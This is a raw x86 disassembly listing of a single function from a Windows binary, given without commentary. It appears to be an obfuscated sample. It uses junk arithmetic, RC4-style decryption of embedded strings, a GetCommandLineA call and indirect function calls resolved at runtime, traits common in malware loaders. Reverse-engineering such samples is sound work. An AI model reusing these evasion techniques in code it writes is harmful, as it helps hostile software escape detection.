mov dword [ebp - 8], 0xffffff28
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd ecx, xmm1
pop esi
add ecx, edi
mov dword [ebp - 0xa8], ecx
mov ecx, eax
add esi, dword [ebp + ecx*4 - 0x10]
inc ecx
cmp ecx, 3
jl 0x44565f
push 0x5e
mov dword [ebp - 8], esi
pop ecx
mov dword [ebp - 0x130], 0x25
mov dword [ebp - 0x12c], 0x15
mov dword [ebp - 0x128], 0x368
add ecx, dword [ebp + eax*4 - 0x130]
inc eax
cmp eax, 3
jl 0x44568d
mov dword [ebp - 0xc0], 0x51
movaps xmm1, xmm2
mov dword [ebp - 0xbc], 1
mov dword [ebp - 0xb8], 0x54
mov dword [ebp - 0xb4], 0x135a
movups xmm0, xmmword [ebp - 0xc0]
mov dword [ebp - 0x128], ecx
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, edi
mov dword [ebp - 0x178], eax
mov al, byte [ebp - 1]
jmp 0x44570e
sub al, 0x30
cmp al, 9
ja 0x445714
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
mov al, byte [eax]
test al, al
jne 0x4456ff
jmp 0x44571a
xor edx, 0x534886d8
add edx, 0x1b8b310f
mov ecx, 0x4039f0
call fcn.0044260d
mov edx, dword [ebp - 0xac]
xor esi, esi
push 0x1a
pop eax
mov dword [ebp - 0xb8], eax
mov edi, esi
mov dword [ebp - 0xb4], 0xffffffcd
lea eax, [edx - 0x3eee1bb7]
push eax
mov dword [0x44ee98], eax
call fcn.0044251f
mov eax, dword [ebp - 0x100]
add eax, dword [ebp + edi*4 - 0xb8]
inc edi
mov dword [ebp - 0x100], eax
pop ecx
cmp edi, 2
jge 0x44577a
mov edx, dword [0x44edac]
jmp 0x445747
mov eax, 0x3800
mov dword [ebp - 0xbc], 0x1e
mov dword [ebp - 0xb8], 0x59
mov dword [ebp - 0xb4], 0x3389
sub eax, dword [ebp + esi*4 - 0xbc]
inc esi
cmp esi, 3
jl 0x44579d
lea ecx, [ebp - 0x2cc]
mov dword [ebp - 0xac], eax
call fcn.0043617c
mov ecx, dword [ebp - 0x104]
mov esi, eax
mov edx, esi
mov dword [ebp - 0x1c], esi
call fcn.0043709c
mov ecx, dword [ebp - 0x108]
mov edx, esi
mov dword [ebp - 0x104], eax
call fcn.0043709c
mov ecx, dword [ebp - 0x144]
mov edx, esi
mov dword [ebp - 0x108], eax
call fcn.0043709c
mov ecx, dword [ebp - 0x10c]
mov edx, esi
mov edi, eax
call fcn.0043709c
mov ecx, dword [ebp - 0x110]
mov edx, esi
mov dword [ebp - 0x10c], eax
call fcn.0043709c
mov edx, dword [ebp - 0x1c]
mov esi, eax
mov ecx, dword [ebp - 0xb0]
call fcn.0043709c
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xb0], eax
call fcn.004369c6
push eax
push dword [ebp - 0x114]
push ecx
call fcn.004360de
mov ecx, dword [ebp - 0x1c]
add esp, 0xc
call fcn.0041e600
mov ecx, edi
call fcn.0043715b
imul ecx, dword [0x44ee98], 0x1ce7babf
mov dword [ebp - 0x110], eax
mov dword [0x44edac], ecx
mov ecx, esi
call fcn.0043715b
xor ecx, ecx
mov dword [ebp - 0x114], eax
cmp byte [str.Component_Categories], cl
je 0x4458b4
inc ecx
cmp ecx, 0x6f8
jl 0x445893
cmp byte [ecx + str.Component_Categories], 0
jne 0x44587f
jmp 0x4458a2
sub dword [0x44edac], 0x63104d89
cmp ecx, 0x2f
jle 0x4458b4
push dword [0x44ee98]
mov edx, dword [0x44edac]
call fcn.0044251f
pop ecx
mov edx, dword [0x44edac]
xor edx, 0xf4816989
mov dword [0x44ee98], edx
mov eax, edx
or eax, 0x156491f9
push edx
mov dword [0x44edac], eax
call fcn.0044251f
pop ecx
mov ecx, dword [ebp - 0xb0]
call fcn.0043715b
mov ecx, dword [ebp - 0x148]
add ecx, ecx
mov dword [ebp - 0xb0], eax
call fcn.0041e51b
mov ecx, dword [ebp - 0x140]
or dword [0x44edac], 0x6c4d73d
add ecx, ecx
mov dword [ebp - 0x48], eax
call fcn.0041e51b
mov ecx, dword [ebp - 0x17c]
add ecx, ecx
mov dword [ebp - 0x1c], eax
call fcn.0041e51b
mov ecx, dword [ebp - 0x180]
mov edi, eax
add ecx, ecx
mov dword [ebp - 0x28], edi
call fcn.0041e51b
mov ecx, dword [ebp - 0x48]
mov esi, eax
mov dword [ebp - 0xb4], esi
test edi, edi
je 0x445fc9
cmp dword [ebp - 0x1c], 0
je 0x445fc9
test ecx, ecx
je 0x445fc9
test esi, esi
je 0x445fc9
mov ecx, dword [ebp - 0x104]
call fcn.004369c6
mov edx, ecx
mov ecx, dword [ebp - 0x1c]
push eax
call fcn.00436393
mov ecx, dword [ebp - 0x10c]
call fcn.004369c6
mov edx, ecx
mov ecx, dword [ebp - 0x48]
push eax
call fcn.00436393
pop ecx
pop ecx
lea ecx, [ebp - 0x4a4]
call fcn.0043617c
push dword [ebp + 8]
mov edi, dword [ebp + 0xc]
lea ecx, [ebp - 0x188]
push dword [ebp - 0x108]
mov esi, eax
push dword [ebp - 0x120]
push esi
push edi
call fcn.0041e657
mov edx, eax
lea ecx, [ebp - 0x2e8]
call fcn.0041e636
call eax
mov ecx, esi
call fcn.004369c6
push eax
push dword [ebp - 0x18c]
push esi
call fcn.004360de
mov ecx, esi
call fcn.0041e600
mov ecx, edi
call fcn.004369c6
mov edx, dword [ebp + 0x14]
push eax
call fcn.0041c49c
push dword [ebp - 0x190]
mov ecx, dword [ebp - 0x124]
lea edx, [ebp - 0x348]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push edi
call fcn.0043ab3a
mov edi, eax
mov eax, dword [ebp - 0x194]
imul eax, dword [ebp - 0x13c]
add eax, eax
push eax
push dword [ebp - 0x138]
push dword [ebp + 0xc]
call fcn.004360de
add esp, 0x40
cmp edi, dword [ebp - 0xc4]
jne 0x445e9d
mov ecx, dword [0x44ee98]
lea edi, [ebp - 0xd0]
mov esi, 0x401628
mov dword [ebp - 0xfc], 0xc0f052a2
push 0x12
pop eax
mov byte [ebp - 0xe0], al
xor eax, eax
add dword [0x44edac], 0x57ed0900
mov edx, eax
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xf8], 0x35a48689
mov dword [ebp - 0xf4], 0xa736449d
mov dword [ebp - 0xf0], 0xf60cb141
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xec], 0x9ed9392c
mov dword [ebp - 0xe8], 0xfd22c1b7
mov dword [ebp - 0xe4], 0x61fb62f2
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xdf], 0xb83871c3
mov dword [ebp - 0xdb], 0x2a83bccc
mov dword [ebp - 0xd7], 0x366748d7
movsw word es:[edi], word [esi]
mov word [ebp - 0xd3], 0x5bc9
mov byte [ebp - 0xd1], 0x1d
mov dword [ebp - 0x44], eax
movsb byte es:[edi], byte [esi]
mov edi, eax
mov esi, 0x4039f0
inc edi
lea esi, [esi + 2]
cmp edi, 0x254f
jg 0x445b00
cmp word [esi], ax
jne 0x445aed
jmp 0x445b06
and ecx, 0xadfbae0a
xor ecx, 0x77342fa4
mov byte [ebp + edx - 0x294], dl
inc edx
cmp edx, 0x100
jb 0x445ae6
push 0xe
mov dword [0x44ee98], ecx
mov esi, eax
pop edi
xor edx, edx
mov cl, byte [ebp + esi - 0x294]
mov eax, esi
mov byte [ebp - 0x1d], cl
div edi
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xd0]
add eax, dword [ebp - 0x44]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x44], ecx
mov al, byte [ebp + ecx - 0x294]
mov byte [ebp + esi - 0x294], al
inc esi
mov al, byte [ebp - 0x1d]
mov byte [ebp + ecx - 0x294], al
cmp esi, 0x100
jb 0x445b27
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor eax, eax
mov dword [ebp - 0x44], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x44]
mov cl, byte [ebp + edi - 0x294]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x44], eax
mov al, byte [ebp + eax - 0x294]
mov byte [ebp + edi - 0x294], al
mov eax, dword [ebp - 0x44]
mov byte [ebp + eax - 0x294], cl
movzx eax, byte [ebp + edi - 0x294]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x294]
xor al, byte [ebp + esi - 0xfc]
mov byte [ebp + esi - 0x78], al
inc esi
cmp esi, 0x2c
jb 0x445b7d
mov edx, dword [0x44ee98]
lea edi, [ebp - 0x304]
mov eax, edx
mov byte [ebp - 0x4c], 0
or eax, 0xcd0bde3d
mov dword [ebp - 0xc8], 0xb1338ab3
push 0xd
mov dword [0x44edac], eax
mov esi, 0x402a30
pop eax
push 6
pop ecx
rep movsd dword es:[edi], dword [esi]
add edx, 0x3e7f6e4a
mov byte [ebp - 0xc4], al
mov byte [ebp - 0xc3], 0x15
mov dword [0x44ee98], edx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov edi, eax
mov ecx, eax
mov byte [ebp + ecx - 0x448], cl
inc ecx
cmp ecx, 0x100
jb 0x445c30
mov esi, eax
xor edx, edx
mov cl, byte [ebp + esi - 0x448]
mov eax, esi
mov byte [ebp - 0x1d], cl
div dword [ebp - 0x118]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x304]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x448]
mov byte [ebp + esi - 0x448], al
inc esi
mov al, byte [ebp - 0x1d]
mov byte [ebp + edi - 0x448], al
cmp esi, 0x100
jb 0x445c42
xor eax, eax
mov dword [ebp - 0x44], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x44]
mov cl, byte [ebp + edi - 0x448]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x44], eax
mov al, byte [ebp + eax - 0x448]
mov byte [ebp + edi - 0x448], al
mov eax, dword [ebp - 0x44]
mov byte [ebp + eax - 0x448], cl
movzx eax, byte [ebp + edi - 0x448]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x448]
xor al, byte [ebp + esi - 0xc8]
mov byte [ebp + esi - 0x138], al
inc esi
cmp esi, 6
jb 0x445c92
mov esi, dword [0x44edac]
xor ecx, ecx
mov eax, esi
mov byte [ebp - 0x132], cl
and eax, 0xd5e5564
mov dword [ebp - 0x3c], 0x42
push 5
mov dword [0x44ee98], eax
mov edx, 0x2000
mov dword [ebp - 0x38], 0x44
mov eax, ecx
mov dword [ebp - 0x34], 0xc
mov dword [ebp - 0x30], 0xe
mov dword [ebp - 0x2c], 0x1b60
pop edi
sub edx, dword [ebp + eax*4 - 0x3c]
inc eax
cmp eax, edi
jl 0x445d34
push 0x4e
mov dword [ebp - 0x11c], 0x4c
mov eax, ecx
mov dword [ebp - 0x118], 0xffffff67
pop edi
add edi, dword [ebp + eax*4 - 0x11c]
inc eax
cmp eax, 2
jl 0x445d56
mov eax, dword [ebp - 0xa4]
push 0x21
mov dword [ebp - 0x118], edi
pop edi
mov dword [ebp - 0xcc], edi
mov dword [ebp - 0xc8], 0x3b
mov dword [ebp - 0xc4], 0xffffff4c
add eax, dword [ebp + ecx*4 - 0xcc]
inc ecx
cmp ecx, 3
jl 0x445d8c
mov dword [ebp - 0xd0], 0x5e
lea ecx, [ebp - 0x138]
mov dword [ebp - 0xcc], 0x4c
xorps xmm1, xmm1
mov dword [ebp - 0xc8], 7
mov dword [ebp - 0xc4], 0xffffff6d
movups xmm0, xmmword [ebp - 0xd0]
mov dword [ebp - 0xa4], eax
imul eax, esi, 0x43f20cb8
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
mov dword [0x44edac], eax
psrldq xmm0, 4
paddd xmm1, xmm0
movd esi, xmm1
push edx
add esi, edi
mov edi, dword [ebp - 0x28]
push edi
push dword [ebp - 0x1c]
call fcn.0041e657
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.0041e636
call eax
mov eax, dword [ebp - 0x114]
cmp eax, dword [ebp - 0x118]
jne 0x445e42
push dword [ebp - 0x48]
mov edx, dword [ebp + 0x10]
mov ecx, edi
push dword [ebp - 0x110]
call fcn.0043d6bb
pop ecx
pop ecx
jmp 0x445e63
cmp eax, dword [ebp - 0xa4]
jne 0x445e5a
mov edx, dword [ebp - 0xb0]
mov ecx, dword [ebp + 0x10]
call fcn.004406fb
jmp 0x445e63
cmp eax, esi
jne 0x445e67
call fcn.00440e79
mov edi, eax
jmp 0x445e9d
push 5
mov edi, 0xf0
mov dword [ebp - 0x3c], 0x5d
mov dword [ebp - 0x38], 0x18
xor eax, eax
mov dword [ebp - 0x34], 0x57
mov dword [ebp - 0x30], 0x50
mov dword [ebp - 0x2c], 0xffffffc4
pop ecx
sub edi, dword [ebp + eax*4 - 0x3c]
inc eax
cmp eax, ecx
jl 0x445e94
mov eax, dword [ebp - 0x14c]
add eax, eax
push eax
push dword [ebp - 0x150]
push dword [ebp - 0x48]
call fcn.004360de
mov eax, dword [ebp - 0x154]
add eax, eax
push eax
push dword [ebp - 0x158]
push dword [ebp - 0x1c]
call fcn.004360de
mov eax, dword [ebp - 0x15c]
add eax, eax
push eax
push dword [ebp - 0x160]
push dword [ebp - 0x28]
call fcn.004360de
mov eax, dword [ebp - 0x164]
imul eax, dword [ebp - 0x168]
add eax, eax
push eax
push dword [ebp - 0x16c]
push dword [ebp + 0x10]
call fcn.004360de
lea ecx, [ebp - 0x2b0]
call fcn.0043617c
mov esi, eax
mov ecx, esi
call fcn.004369c6
push eax
push esi
push dword [ebp - 0xb4]
call fcn.00436044
mov ecx, esi
call fcn.004369c6
push eax
push dword [ebp - 0x170]
push esi
call fcn.004360de
add esp, 0x48
mov ecx, esi
call fcn.0041e600
mov esi, dword [ebp - 0xb4]
mov ecx, esi
call fcn.004369c6
mov edx, dword [ebp + 0x14]
push eax
call fcn.0041c49c
push dword [ebp + 0x14]
mov edx, dword [ebp - 0x120]
push dword [ebp + 0x10]
mov ecx, dword [ebp - 0x124]
push dword [ebp + 0xc]
push edi
push esi
push dword [ebp + 8]
call fcn.0043cbb5
mov eax, dword [ebp - 0xa8]
imul eax, dword [ebp - 0x174]
add eax, eax
push eax
push dword [ebp - 0x24]
push dword [ebp + 0xc]
call fcn.004360de
mov eax, dword [ebp - 0x178]
imul eax, dword [ebp - 0x128]
add eax, eax
push eax
push dword [ebp - 8]
push dword [ebp + 0x14]
call fcn.004360de
mov eax, dword [ebp - 0xac]
add eax, eax
push eax
mov eax, dword [ebp - 0x100]
push eax
push esi
call fcn.004360de
mov edi, dword [ebp - 0x28]
add esp, 0x40
mov ecx, dword [ebp - 0x48]
call fcn.0041e600
mov ecx, dword [ebp - 0x1c]
call fcn.0041e600
mov ecx, edi
call fcn.0041e600
mov ecx, esi
call fcn.0041e600
pop edi
pop esi
leave
ret